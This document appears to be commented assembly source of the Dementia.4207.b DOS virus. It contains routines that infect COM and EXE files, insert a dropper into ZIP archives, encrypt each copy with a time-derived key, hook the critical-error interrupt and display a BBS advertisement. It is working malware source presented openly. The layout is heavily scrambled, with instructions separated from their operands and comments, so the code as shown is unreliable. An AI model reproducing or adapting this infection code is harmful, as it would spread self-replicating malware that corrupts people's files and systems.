dx,ds:[12h] ; DX = high-order word of offset o... ax,2ah ; Add size of local file header to... dx,00h bx,[bp-1ah] dx,bx bx,[bp-1ch] ax,bx dx,00h ds:[10h],ax ds:[12h],dx ; Convert to 32-bit ; BX = high-order word of filesize ; Add high-order word of filesize ... ; BX = low-order word of filesize ; Add low-order word of filesize t... ; Convert to 32-bit ; Store low-order word of offset o... ; Store high-order word of offset ...

bx,[bp-08h] ; BX = file handle of ZIP file cx ; Load CX from stack cx,16h ; Add size of end of central direc... write_file bx,[bp-14h] close_file dx,filename delete_file call_mark_ ax,[bp-12h] ; AX = found RECEIPT.IVA ax,ax ; Didn't found RECEIPT.IVA exam_extra ; Zero? Jump to exam_extra call_mark_ bx,[bp-08h] cx,[bp-22h] dx,[bp-24h] set_pos_sof_ ; BX = file handle of ZIP file ; CX = high-order word of extra field ; DX = low-order word of extra field ; BX = file handle of HOT_BBS!.COM

; DX = offset of filename

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer es,ax ; ES = segment of data buffer cx,400h read_file ; Read one thousand and twenty-fou...

; Clear direction flag ; Zero SI ; Zero DI ; AX = word of extra field ax,1492h ; Found infection mark? comp_extra ; Equal? Jump to comp_extra si,si di,di call_mark_ ; AX = word of extra field ax,1776h ; Found infection mark? load_extra ; Equal? Jump to load_extra call_mark_ ; AX = 16-bit decryption key ; DX = " " " ; AL = number of file specifications

dx,ax

xor mov push decrypt_next: push mov decrypt_spec: lodsw xor stosw loop pop loop mov add mov push push pop mov xor xor int pop mov add mov xor mov stosb xor stosb push mov int mov mov pop push mov add mov xor mov int lea nop call mov mov

cx,cx cl,al ax cx cx,07h

; Zero CX ; CL = number of filespecification ; Save AX at stack ; Save CX at stack ; Decryption fourteen bytes ; AX = word of encrypted file spec... ; Decrypt word of file specification ; Store word of file specification

ax,dx

decrypt_spec cx decrypt_next ax,ds ax,40h es,ax ds es ds ah,47h dl,dl si,si 21h ds ax,es ax,04h es,ax di,di al,'\' al,al ; AX = segment of data buffer ; AX = segment of pathname ; ES = " " " ; Save DS at stack ; Save ES at stack ; Load DS from stack (ES) ; Get current directory ; Default drive ; Zero SI ; Load DS from stack ; AX = segment of pathname ; AX = segment of end of pathname ; ES = " " " " " ; Zero DI ; AL = backslash ; Store backslash ; AL = zero ; Store zero ; Load CX from stack

es ; Save ES at stack ah,2fh ; Get disk transfer area address 21h [bp-26h],es ; Store segment of disk transfer a... [bp-28h],bx ; Store offset of disk transfer ar... es ; Load ES from stack ds ; Save DS at stack ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area dx,dx ah,1ah 21h ; Zero DX ; Set disk transfer area address

dx,receipt_iva

; DX = offset of receipt_iva

create_file bx,ax ; BX = file handle of RECEIPT.IVA [bp-14h],ax ; Store file handle of RECEIPT.IVA

pop pop mov call mov call mov add mov mov encrypt_rece: mov call cmp je push xor sub mov call pop push mov xor xor encrypt_ipt_: lodsb xor stosb loop pop mov call jmp set_dta_addr: call mov mov mov int mov add mov xor mov int push pop push pop

ds

; Load DS from stack

ax ; Load AX from stack dx,01h ; Don't store backslash create_recei bx,[bp-14h] set_pos_sof ; BX = file handle of RECEIPT.IVA

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area es,ax ; ES = " " " " " cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? set_dta_addr ; Equal? Jump to set_dta_addr ax ; Save AX at stack dx,dx ; Zero DX dx,ax ; DX = -number of bytes actually read cx,-01h set_pos_cfp ax ax cx,ax si,si di,di ; Load AX from stack ; Save AX at stack ; CX = number of bytes actually read ; Zero SI ; Zero DI

; AL = byte of RECEIPT.IVA ; Encrypt byte of RECEIPT.IVA ; Store encrypted byte of RECEIPT.IVA encrypt_ipt_ al,0ffh ax cx,ax write_file encrypt_rece close_file ds,[bp-26h] ; DS = segment of disk transfer area dx,[bp-28h] ; DX = offset of disk transfer area ah,1ah ; Set disk transfer area address 21h ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+40h ds,ax ; DS = segment of data buffer dx,dx ah,3bh 21h cs ds cs es ; Zero DX ; Set current directory ; Load AX from stack ; CX = number of bytes actually read

; Save CS at stack ; Load DS from stack (CS) ; Save CS at stack ; Load ES from stack (CS)

lea nop lea nop mov rep jmp call_mark_: mov call mov call mov call lea nop call inf_zip_exit: call pop mov pop ret endp

si,receipt_iva di,filename cx,0dh movsb open_filenam bx,[bp-08h] infect_mark bx,[bp-08h] close_file bx,[bp-0ah] close_file dx,temp_file delete_file int24_load

; SI = offset of receipt_iva ; DI = offset of filename

; Move thirteen bytes ; Move RECEIPT.IVA to filename

; BX = file handle of ZIP file

; BX = file handle of ZIP file

; BX = file handle of !#TEMP#!

; DX = offset of temp_file

es ds di si dx cx bx ax sp,bp bp ; SP = stack pointer ; Load BP from stack ; Return!

infect_com proc near push bp mov bp,sp sub sp,04h mov nop nop mov mov mov mov mov call call mov mov push mov cmp pop je cmp jne ah,00h

; Infect COM file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer ; COM executable

cs:[com_or_exe],ah

; Store COM executable

ax,ds:[00h] ; AX = word of original code of CO... word ptr cs:[origin_code],ax al,ds:[02h] ; AL = byte of original code of CO... cs:[origin_code+02h],al encrypt_copy set_pos_eof [bp-04h],ax [bp-02h],dx

; Store low-order word of filesize ; Store high-order word of filesize

ax ; Save AX at stack ax,cs:[tst_filesize] ax,01h ; Don't test filesize? ax ; Load AX from stack calc_buf_seg ; Equal? Jump to calc_buf_seg dx,00h ; Filesize too large? inf_com_exit ; Not equal? Jump to inf_com_exit

cmp jb calc_buf_seg: add jb mov add mov mov mov and sub mov add mov call mov call mov mov mov sub mov call mov call inf_com_exit: mov pop ret endp

ax,1000h inf_com_exit

; Filesize too small? ; Below? Jump to inf_com_exit

ax,(code_end-code_begin) inf_com_exit ; Filesize too large? Jump to inf_... ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer cx,10h ; CX = number of bytes to add to f... ax,[bp-04h] ; AX = filesize ax,0000000000001111b cx,ax ; CX = number of bytes to add to f... ax,[bp-04h] ; AX = filesize ax,cx ; AX = offset of virus within file [bp-04h],ax ; Store offset of virus within file write_file_ cx,(code_end-code_begin) write_file al,0e9h ds:[00h],al ; JMP imm16 (opcode 0e9h) ; Store JMP imm16

ax,[bp-04h] ; AX = filesize ax,03h ; Subtract size of opcode JMP imm16 ds:[01h],ax ; Store 16-bit immediate set_pos_sof cx,03h write_file sp,bp bp ; Write three bytes

; SP = stack pointer ; Load BP from stack ; Return!

infect_exe proc near push bp mov bp,sp sub sp,04h mov nop nop mov call mov mov and mov sub mov mov ah,01h

; Infect EXE file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer ; EXE executable

cs:[com_or_exe],ah set_pos_eof [bp-04h],ax [bp-02h],dx

; Store EXE executable

; Store low-order word of filesize ; Store high-order word of filesize

ax,0000000000001111b cx,10h ; CX = number of bytes to add to f... cx,ax ; CX = " " " " " " " ax,[bp-04h] dx,[bp-02h] ; AX = low-order word of filesize ; DX = high-order word of filesize

add adc mov mov call push mov mov mov mov shr sub mov mov shl sub sbb mov mov pop mov mov mov mov xor mov mov mov test jz jmp calc_ins_ptr: mov shl mov mov shr add mov mov push mov mov mov mov pop add jae jmp store_stack: mov

ax,cx ; Add number of bytes to add to fi... dx,00h ; Convert to 32-bit [bp-04h],ax ; Store low-order word of pointer ... [bp-02h],dx ; Store high-order word of pointer... write_file_ bx ; Save BX at stack ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ... bx,ds:[08h] ; BX = header size in paragraphs cl,0ch ; Divide by four thousand and nine... bx,cl ; BX = header size in sixty-five t... dx,bx ; Subtract header size in sixty fi... bx,ds:[08h] cl,04h bx,cl ax,bx dx,00h [bp-04h],ax [bp-02h],dx bx ; BX = header size in paragraphs Multiply by paragraphs BX = header size Subtract header size from filesize Convert to 32-bit ; Store low-order word of pointer ... ; Store high-order word of pointer... ; Load BX from stack ; ; ; ;

ax,ds:[14h] ; AX = original instruction pointer cs:[instruct_ptr],ax ax,ds:[16h] ; AX = original code segment cs:[code_seg],ax ; Store original code segment ax,ax ; Zero AX ds:[14h],ax ; Store initial IP cs:[initial_ip],ax ; Store "

"

ax,[bp-02h] ; AX = high-order word of pointer ... ax,1111111111110000b calc_ins_ptr ; Zero? Jump to calc_ins_ptr inf_exe_exit cl,0ch ax,cl

; Multiply by sixty-five thousand ...

dx,[bp-04h] ; DX = low-order word of pointer t... cl,04h ; Divide by paragraphs dx,cl ; DX = low-order word of pointer t... ax,dx ; AX = initial CS relative to star... ds:[16h],ax ; Store initial CS relative to sta... cs:[initial_cs],ax ; " " " " " " ax ; Save AX at stack ax,ds:[0eh] ; AX = initial SS relative to star... cs:[stack_seg],ax ; Store initial SS relative to sta... ax,ds:[10h] ; AX = initial SP cs:[stack_ptr],ax ; Store initial SP ax ; Load AX from stack ax,(code_end-code_begin+0fh)/10h store_stack ; Above or equal? Jump to store_stack inf_exe_exit ds:[0eh],ax ; Store initial SS relative to sta...

mov mov push mov mov mov mov shr add mov mov shl add adc mov mov pop mov mov add adc mov shl push mov shr add pop and jz inc jmp store_pages: mov store_pages_: mov mov mov cmp jae mov store_maximu: mov call mov call call call

ax,100h ds:[10h],ax

; AX = initial SP ; Store initial SP

bx ; Save BX at stack ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ... bx,ds:[08h] ; BX = header size in paragraphs cl,0ch ; Divide by four thousand and nine... bx,cl ; BX = header size in sixty-five t... dx,bx ; Add header size in sixty-five th... bx,ds:[08h] cl,04h bx,cl ax,bx dx,00h [bp-04h],ax [bp-02h],dx bx ; BX = header size in paragraphs Multiply by paragraphs BX = header size Add header size to filesize Convert to 32-bit ; Store low-order word of pointer ... ; Store high-order word of pointer... ; Load BX from stack ; ; ; ;

ax,[bp-04h] ; AX = low-order word of pointer t... dx,[bp-02h] ; DX = high-order word of pointer ... ax,(code_end-code_begin) dx,00h ; Convet to 32-bit cl,07h dx,cl ax cl,09h ax,cl dx,ax ax

; Multiply by one hundred and twen... ; ; ; ; ; Save AX at stack Divide by pages AX = low-order word of pointer t... DX = number of bytes on last 512... Load AX from stack

ax,0000000000011111b store_pages ; Zero? Jump to store_pages dx store_pages_ ax,200h ds:[02h],ax ds:[04h],dx ; AX = total number of 512-bytes p... ; Store total number of 512-bytes ... ; Store number of bytes on last 51... ; Increase number of bytes on last...

ax,ds:[0ch] ; AX = maximum paragraphs to alloc... ax,10h ; Maximum paragraphs to allocate ...? store_maximu ; Above or equal? Jump to store_ma... ax,10h ds:[0ch],ax set_pos_sof cx,20h write_file set_pos_eof encrypt_copy ; Write thirty-two bytes ; AX = new maximum paragraphs to a... ; Store maximum paragraphs to allo...

mov call inf_exe_exit: mov pop ret endp

cx,(code_end-code_begin) write_file sp,bp bp ; SP = stack pointer ; Load BP from stack ; Return!

encrypt_copy proc push bx mov int mov xor mov int xor xor mov mov pop cld mov add mov push pop xor xor mov rep push pop lea mov mov std encrypt_loop: lodsw xor stosw loop cld ret endp int24_store proc

near

; Move virus to data buffer and en... ; Save BX at stack ; Get system time ; BX = hour and minute ; BX = 16-bit random number ; Get system date ; BX = 16-bit random number ; BX = decryption key ; DX = " "

ah,2ch 21h bx,cx bx,dx ah,2ah 21h bx,cx bx,dx dx,bx

cs:[decrypt_key],dx ; Store decryption key bx ; Load BX from stack

; Clear direction flag ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h es,ax ; ES = segment of data buffer cs ds ; Save CS at stack ; Load DS from stack (CS)

si,si ; Zero SI di,di ; Zero DI cx,(code_end-code_begin) movsb ; Move virus to data buffer es ds ; Save ES at stack ; Load DS from stack (ES)

si,crypt_begin-02h ; SI = offset of crypt_end di,si ; DI = " " " cx,(crypt_begin-crypt_end-02h)/02h ; Set direction flag ; AX = word of plain code ; Encrypt word ; Store encrypted word

ax,dx

encrypt_loop ; Clear direction flag ; Return!

near

; Get and set interrupt vector 24h

push mov int mov mov push pop lea mov int pop ret endp

bx dx ds es

; Save registers at stack

ax,3524h ; Get interrupt vector 24h 21h word ptr cs:[int24_addr],bx word ptr cs:[int24_addr+02h],es cs ds ; Save CS at stack ; Load DS from stack (CS) ; DX = offset of int24_virus ; Set interrupt vector 24h

dx,int24_virus ax,2524h 21h es ds dx bx

; Load registers from stack

; Return!

int24_load proc near push dx ds mov mov mov int pop ret endp int24_virus proc near mov al,03h iret endp

; Set interrupt vector 24h ; Load registers from stack

dx,word ptr cs:[int24_addr] ds,word ptr cs:[int24_addr+02h] ax,2524h ; Set interrupt vector 24h 21h ds dx ; Load registers from stack ; Return!

; Interrupt 24h of Dementia.4207.b ; Fail system call in progress ; Interrupt return!

calc_crc32 proc near ; Calculate CRC-32 checksum mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer add mov xor xor gen_crc_tab: xor xor mov push mov gen_crc_loop: clc rcr rcr jnc xor xor ax,40h es,ax di,di cx,cx dx,dx ax,ax al,cl cx cx,08h ; AX = segment of CRC-32 table ; ES = " " " " ; Zero DI ; Zero CX ; Zero DX ; Zero AX ; AL = counter ; Save CX at stack ; Calculate each CRC-32 table entr...

; Clear carry flag dx,01h ; Rotate DX through carry one bit ... ax,01h ; Rotate AX through carry one bit ... carry_loop ; No carry? Jump to carry_loop dx,0edb8h ax,8320h ; DX = high-order word of CRC-32 t... ; AX = low-order word of CRC-32 ta...

carry_loop: loop mov mov add pop inc cmp jne call mov mov read_block: push mov call cmp je mov pop xor cal_crc_loop: push xor mov inc xor mov shl mov mov mov mov xor mov xor mov xor pop loop jmp calc_crc_xit: pop xor xor ret endp

gen_crc_loop es:[di],ax es:[di+02h],dx di,04h ; Store low-order word of CRC-32 t... ; Store high-order word of CRC-32 ...

; DI = offset of next CRC-32 table...

cx ; Load CX from stack cx ; Increase count register cx,100h ; Generated enough CRC-32 table en... gen_crc_tab ; Not equal? Jump to gen_crc_tab set_pos_sof dx,0ffffh ax,0ffffh ; DX = high-order word of CRC-32 c... ; AX = low-order word of CRC-32 ch...

ax dx ; Save registers at stack cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? calc_crc_xit ; Equal? Jump to calc_crc_xit cx,ax dx ax si,si bx cx bh,bh bl,[si] si bl,al cl,02h bx,cl di,bx al,ah ah,dl dl,dh dh,dh ; CX = number of bytes actually read ; Load registers from stack ; Zero SI ; Save registers at stack ; Zero BH ; BL = byte of file ; Increase index register ; Exclusive OR (XOR) byte of file ... ; Multiply by four ; DI = offset of next CRC-32 table... ; ; ; ; AL = AH = DL = Zero low-order byte of low-order... high-order byte of low-orde... low-order byte of high-orde... DH

bx,es:[di] ; BX = low-order word of CRC-32 ta... ax,bx ; AX = low-order word of CRC-32 ch... bx,es:[di+02h] ; BX = high-order word of CRC-32 t... dx,bx ; DX = high-order word of CRC-32 c... cx bx cal_crc_loop read_block dx ax dx,0ffffh ax,0ffffh ; Load registers from stack ; DX = high-order word of CRC-32 c... ; AX = low-order word of CRC-32 ch... ; Load registers from stack

; Return!

create_recei proc near push bp mov bp,sp sub sp,12h mov mov mov mov mov push pop xor int mov xor mov xor find_first_: mov push mov call push jnc jmp find_next_: mov add mov mov call mov mov call push mov add mov mov mov call pop mov mov call mov add mov mov [bp-08h],ax [bp-10h],bx [bp-02h],dx [bp-06h],ds ah,3bh es ds dx,dx 21h

; Create RECEIPT.IVA file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer ; ; ; ; Store Store Store Store number of file specifications file handle of RECEIPT.IVA store or don't store backs... segment of file specificat...

; Set current directory ; Save ES at stack ; Load DS from stack (ES) ; Zero DX

ax,[bp-08h] ; AX = number of file specifications cx,cx ; Zero CX cl,al ; CL = number of file specifications dx,dx ; Zero DX ds,[bp-06h] ; DS = segment of file specification cx ; Save CX at stack cx,0000000000000111b find_first dx ; Save DX at stack find_next_ ; No error? Jump to find_next_ fnd_nxt_loop ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+48h ds,ax ; DS = segment of disk transfer area dx,1eh ; DX = offset of filename open_file [bp-12h],ax ; Store file handle of file within... bx,[bp-10h] set_pos_eof ; BX = file handle of RECEIPT.IVA

ds ; Save DS at stack ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+44h ds,ax ; DS = segment of end of pathname cx,40h ; Write sixty-four bytes bx,[bp-10h] ; BX = file handle of RECEIPT.IVA write_file ds ; Load DS from stack cx,0eh ; Write fourteen bytes dx,1eh ; DX = offset of filename write_file_ ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+4ch ds,ax ; DS = segment of data buffer bx,[bp-12h] ; BX = file handle of file within ...

call mov mov mov mov call mov call copy_file: mov mov call cmp je mov mov call jmp call_fnd_nxt: mov call call jc jmp fnd_nxt_loop: pop add dec cmp je jmp copy_name: xor find_first__: push push pop lea nop mov call jc pop push jmp found_dir: push mov test_count: cmp

set_pos_eof ds:[00h],ax ds:[02h],dx

; Store low-order word of filesize ; Store high-order word of filesize

bx,[bp-10h] ; BX = file handle of RECEIPT.IVA cx,04h ; Write four bytes write_file bx,[bp-12h] set_pos_sof ; BX = file handle of file within ...

bx,[bp-12h] ; BX = file handle of file within ... cx,400h ; Read one thousand and twenty-fou... read_file ax,00h ; Read all of the file? call_fnd_nxt ; Equal? Jump to call_fnd_nxt cx,ax ; CX = number of bytes actually read bx,[bp-10h] ; BX = file handle of RECEIPT.IVA write_file copy_file bx,[bp-12h] close_file find_next fnd_nxt_loop find_next_ dx cx dx,0eh cx cx,00h copy_name find_first_ cx,cx cx cs ds ; Zero CX ; Save CX at stack ; Save CS at stack ; Load DS from stack (CS) ; DX = offset of file_specifi ; Load registers from stack ; DX = offset of next file specifi... ; Decrease count register ; No more files? ; Equal? Jump to copy_name ; BX = file handle of file within ...

; Error? Jump to fnd_nxt_loop

dx,file_specifi

cx,0000000000010111b find_first receip_exit ; Error? Jump to receip_exit cx cx test_count cx cx,01h cx,00h ; Save CX at stack ; Don't examine disk transfer area ; Examine disk transfer area? ; Load CX from stack ; Save CX at stack

je call jc dec jmp examine_dta: pop inc mov add mov add mov mov lodsb test je mov lodsb cmp je mov mov mov cmp je mov stosb copy_name_: lodsb cmp je stosb jmp store_zero: mov xor stosb mov mov mov push call pop mov push pop xor

examine_dta find_next receipt_exit cx test_count cx cx

; Equal? Jump to examine_dta

; Error? Jump to receipt_exit ; Decrease CX

; Load CX from stack ; Increase count register

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h+44h es,ax ; ES = segment of end of pathname ax,04h ; AX = segment of disk transfer area ds,ax ; DS = " " " " " si,15h ; SI = offset of attribute of file... ; AL = attribute of file found al,00010000b ; Directory? found_dir ; Equal? Jump to found_dir si,1eh ; SI = offset of filename ; AL = byte of filename al,'.' ; Directory? found_dir ; Equal? Jump to found_dir ax,[bp-02h] ; AX = store or don't store backslash di,ax ; DI = offset of end of pathname si,1eh ; SI = offset of filename al,01h ; Don't store backslash? copy_name_ ; Equal? Jump to copy_name_ al,'\' ; AL = backslash ; Store backslash

; AL = byte of filename al,00h ; End of filename? store_zero ; Equal? Jump to store_zero ; Store byte of filename copy_name_ dx,di al,al ; DX = offset of end of pathname ; AL = zero ; Store zero

ax,[bp-08h] ; AX = number of file specifications bx,[bp-10h] ; BX = file handle of RECEIPT.IVA ds,[bp-06h] ; DS = segment of file specifictions cx ; Save CX at stack create_recei cx ; Load CX from stack ah,3bh es ds dx,dx ; Set current directory ; Save ES at stack ; Load DS from stack (ES) ; Zero DX

mov xor stosb int jmp receipt_exit: pop receip_exit: mov pop ret endp open_file mov xor int mov ret endp proc

di,[bp-02h] ; DI = offset of end of pathname al,al ; AL = zero ; Store zero 21h find_first__ cx sp,bp bp ; Load CX from stack ; SP = stack pointer ; Load BP from stack ; Return!

near ax,3dffh cx,cx 21h bx,ax

; Open file ; Open file ; CL = attribute mask of files to ... ; BX = file handle ; Return!

close_file proc near mov ah,3eh int 21h ret endp find_first proc near mov ax,4e00h int 21h ret endp find_next mov int ret endp load_info mov int mov mov ret endp proc proc near ah,4fh 21h

; Close file ; Close file

; Return!

; Find first matching file ; Find first matching file

; Return!

; Find next matching file ; Find next matching file

; Return!

near ax,5700h 21h [bp-04h],cx [bp-02h],dx

; Get file's date and time ; Get file's date and time ; Store file time ; Store file date

; Return!

infect_mark proc near ; Infection mark mov ax,5701h ; Set file's date and time mov cx,[bp-04h] ; CX = file time mov dx,[bp-02h] ; DX = file date and cx,1111111111100000b or cx,0000000000000001b int 21h

ret endp read_file xor proc near dx,dx

; Return!

; Read from file ; Zero DX ; Read from file ; Read from file

read_file_ proc near mov ah,3fh int 21h ret endp endp create_file proc near mov ah,3ch push pop xor int ret endp write_file proc near xor dx,dx write_file_ proc near mov ah,40h int 21h ret endp endp set_pos_cfp proc near mov ax,4201h int 21h ret endp cs ds cx,cx 21h

; Return!

; Create file ; Create file ; Save CS at stack ; Load DS from stack (CS) ; CX = file attributes

; Return!

; Write to file ; Zero DX ; Write to file ; Write to file

; Return!

; Set current file position (CFP) ; Set current file position (CFP)

; Return!

set_pos_eof proc near ; Set current file position (EOF) mov ax,4202h ; Set current file position (EOF) xor cx,cx ; Zero CX cwd ; Zero DX int 21h ret endp set_pos_sof proc near xor cx,cx xor dx,dx set_pos_sof_ proc near mov ax,4200h int 21h ret ; Return!

; Set current file position (SOF) ; Zero CX ; Zero DX ; Set current file position (SOF) ; Set current file position (SOF)

; Return!

endp endp delete_file proc push cs pop ds mov xor int ret endp file_begin: mov mov mov mov push pop decrypt_loo_: lodsw xor stosw jmp decrypt_lo__: loop crypt_begin_: mov int mov mov xor mov mov rep xor mov mov load_gfx: lodsb cmp jne lodsb dec cmp je push xor mov lodsb mov lodsb mov mov ; AL = byte of gfx_begin al,0ffh ; Write a string? store_gfx ; Not equal? Jump to store_gfx ; AL = byte of gfx_begin cx ; Derease count register al,0ffh ; Write a single character? store_gfx ; Equal? Jump to store_gfx cx si ds cx,cx cl,al bl,al bh,al si,bx ; Save registers at stack ; Zero CX ; CL = size of string ; AL = byte of gfx_begin ; BL = low-order byte of offset of... ; AL = byte of gfx_begin ; BH = high-order byte of offset o... ; SI = offset of string within gfx... near ; Delete file ; Save CS at stack ; Load DS from stack (CS) ; Delete file ; CL = attribute mask for deletion

ah,41h cx,cx 21h

; Return!

cx,(crypt_end_-crypt_begin_)/02h si,(crypt_begin_-file_begin+100h) di,si ; DI = offset of crypt_begin_ dx,1995h ; DX = decryption key cs cs ds es ; Save segments at stack ; Load segments from stack (CS) ; AX = word of encrypted code ; Decrypt two bytes ; Store two decrypted bytes

ax,dx

decrypt_lo__ decrypt_loo_ ax,01h 10h ax,0b800h es,ax di,di cx,3e8h ax,0f20h stosw ; Set video mode

; AX = segment of text video RAM ; ES = " " " " " ; Zero DI ; Store one thousand bytes ; Bright white background color, g... ; Overwrite text video RAM

di,di ; Zero DI si,(gfx_begin-file_begin+100h) cx,(gfx_end-gfx_begin)

push pop rep pop add sub jmp store_gfx: stosb dont_sto_gfx: loop mov mov int mov mov mov mov int xor mov mov int mov mov mov push int mov mov int pop int mov prepare_tele: mov call cmp jb mov mov int add call mov sub dec

es ds movsb ds si cx si,02h cx,02h dont_sto_gfx

; Save ES at stack ; Load DS from stack (ES) ; Move string to text video RAM ; Load registers at stack ; Add two to index register ; Subtract two from count register

; Store a byte of gfx_begin load_gfx ah,01h cx,2020h 10h ax,600h cx,1700h dx,174fh bh,03h 10h bx,bx dx,1600h ah,02h 10h bx,05h cx,28h ax,9c4h ax bx cx 10h dx,1800h ah,02h 10h cx bx ax 10h bp,27h dx,1700h set_cursor ; Set text-mode cursor shape ; CX = cursor start, options, botto...

; Scroll up window (clear entire w...) ; CX = row and column of window's u... ; DX = row and column of window's l... ; BH = attributes used to write bla...

; BH = page number ; DX = row and column ; Set cursor position

; BX = attribute and page number ; CX = number of times to write ch... ; Write character and attribute at... ; Save registers at stack

; DX = row and column ; Set cursor position

; Load registers from stack

; BP = length of row - 01h ; DX = row and column

bp,01h ; Beginning of row? examine_str ; Below? Jump to examine_str cx,bp ax,0a20h 10h dx,cx set_cursor cx,28h cx,bp bp ; CX = number of times to write ch... ; Write character only at cursor p...

; Add current position in row to c...

; CX = length of row ; Subtract current position in row... ; Decrease base pointer

mov jmp examine_str: mov inc cmp jne mov call_teletyp: push call pop jmp

si,(_dementia_v-file_begin+100h) call_teletyp cx,28h si ; CX = length of row ; Increase index register

byte ptr [si],00h ; End of string? call_teletyp ; Not equal? Jump to call_teletyp si,(_dementia_v-file_begin+100h) si ; Save SI at stack teletype_str si ; Load SI from stack prepare_tele

teletype_str proc near ; Teletype string lodsb ; AL = byte of _dementia_v cmp al,00h ; End of string? jne teletype_out ; Not equal? Jump to teletype_out mov jmp teletype_out: mov int mov int jnz loop mov loop_: push xor loop__: loop pop loop ret endp hot_bbs_exit: mov int call mov int mov mov int mov loop__ cx loop_ ; Return! ; Load CX from stack cx cx,cx ; Save CX at stack ; Zero CX si,(_dementia_v-file_begin+100h) teletype_str ah,0eh 10h ; Teletype output

ah,01h ; Check for keystroke 16h hot_bbs_exit ; Keystroke available? Jump to hot... teletype_str cx,0fh ; PUSH/POP/LOOP fifteen times

ax,0c02h 21h cls_effect ax,03h 10h

; Flush buffer and read standard i...

; Set video mode

ah,09h ; Write string to standard output dx,(_c__little_l-file_begin+100h) 21h ax,4c00h ; Terminate with return code

int

21h ; Set cursor position ; Set cursor position

set_cursor proc near mov ah,02h int 10h ret endp

; Return!

_dementia_v db '[Dementia v1.5b] -= 4 Ball Cafe''=- ' db '(801) PRI-VATE ì VX Support BBS ì USR Dual 28.8k ì' db ' 2 nodes -=*=',00h _c__little_l db '(C) Little Loc July ''94$' gfx_begin db 0ffh,1ah,00h,00h,44h,09h,65h,09h,6dh,09h,65h,09h,6eh,09h db 74h,09h,69h,09h,61h,09h,20h,09h,20h,09h,76h,09h,31h,09h db 2eh,09h,35h,09h,62h,09h,0ffh,2ah,3ah,00h,28h,09h,43h,09h db 29h,09h,20h,09h,4ah,09h,75h,09h,6eh,09h,65h,09h,20h,09h db 27h,09h,39h,09h,34h,09h,20h,09h,2dh,09h,4eh,09h,65h,09 db 63h,09h,72h,09h,6fh,09h,73h,09h,6fh,09h,66h,09h,74h,09h db 0ffh,0c6h,92h,00h,0dbh,0a0h,0ffh,0eh,5ah,01h,0b0h,3bh db 0ffh,3fh,18h,01h,0c0h,0ffh,0ch,0bah,01h,0b1h,3bh,0b1h,3bh db 0b1h,3bh,0ffh,48h,6ah,01h,0b2h,3bh,0ffh,08h,02h,02h,0ffh db 3ah,0beh,01h,0dbh,0c0h,0ffh,0ah,0ach,01h,20h,6bh,0dch,68h db 20h,68h,0dch,68h,20h,68h,0b1h,3bh,0ffh,42h,0c0h,01h,20h db 0e0h,20h,0e0h,0bfh,68h,7eh,68h,0dah,68h,20h,68h,20h,68h db 0ffh,37h,0eh,02h,0e0h,0ffh,06h,0e4h,02h,20h,0a0h,0ffh,06h db 0ech,02h,0c0h,68h,0c4h,68h,0d9h,68h,20h,28h,0ffh,06h,0fah db 02h,0ffh,08h,0e4h,02h,0dbh,0e0h,0ffh,2eh,6ch,02h,0dbh,86h db 0dbh,86h,20h,86h,20h,0a6h,20h,0a6h,0cdh,2ah,0cbh,2ah,0cdh db 2ah,20h,2ah,20h,2ah,20h,0fh,0dbh,86h,0dbh,86h,0ffh,30h db 66h,02h,0ffh,0dh,34h,03h,86h,20h,0a6h,20h,0a6h,0bah,0ffh db 07h,49h,03h,0ffh,07h,38h,03h,0ffh,3bh,79h,01h,20h,0fh,20h db 90h,20h,0a0h,20h,0ffh,06h,0e3h,03h,0ffh,07h,9fh,00h,0dch db 86h,0dch,86h,0ffh,39h,0a8h,03h,90h,20h,0ffh,0bh,31h,04h db 0dbh,81h,0ffh,05h,3eh,04h,86h,0dbh,86h,0ffh,39h,48h,04h db 96h,0ffh,05h,80h,04h,0fh,0dbh,90h,0dbh,90h,0dbh,90h,0ffh db 41h,8eh,04h,0e0h,0ffh,05h,0ceh,04h,0ffh,05h,09h,05h,0ffh db 06h,0e6h,02h,0ffh,0feh,0e0h,04h,0ffh,0ceh,0e0h,04h,50h db 08h,72h,08h,65h,08h,73h,08h,73h,08h,20h,08h,61h,08h,6eh db 08h,79h,08h,20h,08h,6bh,08h,65h,08h,79h,08h,0ffh,1ah,0e0h db 04h gfx_end: cls_effect proc near ; Clear screen effect push ax bx cx dx si di ss sp mov mov mov mov reset_count: mov mov reset_regs: mov mov mov mov mov reset_cx: mov cx,word ptr ds:[(row_count-file_begin+100h)] ax,0b800h es,ax ; AX = segment of text video RAM ; ES = " " " " "

word ptr ds:[(count-file_begin+100h)],0ch word ptr ds:[(count_-file_begin+100h)],0d0h ax,word ptr ds:[(count_-file_begin+100h)] word ptr ds:[(count__-file_begin+100h)],ax word ptr ds:[(row_count-file_begin+100h)],13h word ptr ds:[(column_count-file_begin+100h)],01h di,3d8h ; DI = offset of lower left corner...

ax,word ptr ds:[(count-file_begin+100h)] word ptr ds:[(count___-file_begin+100h)],ax

dec push push pop mov add cld rep pop mov push push pop mov sub mov cld move_up: movsw sub sub loop pop mov push push pop mov sub std rep pop mov inc push push pop mov add mov std move_down: movsw add add

cx ds es ds si,di si,02h

; Decrease row counter ; Save DS at stack ; Save ES at stack ; Load DS from stack (ES) ; SI = offset within segment of te... ; Add two to the index register ; Clear direction flag ; Move two byte to the right ; Load DS from stack

movsw ds
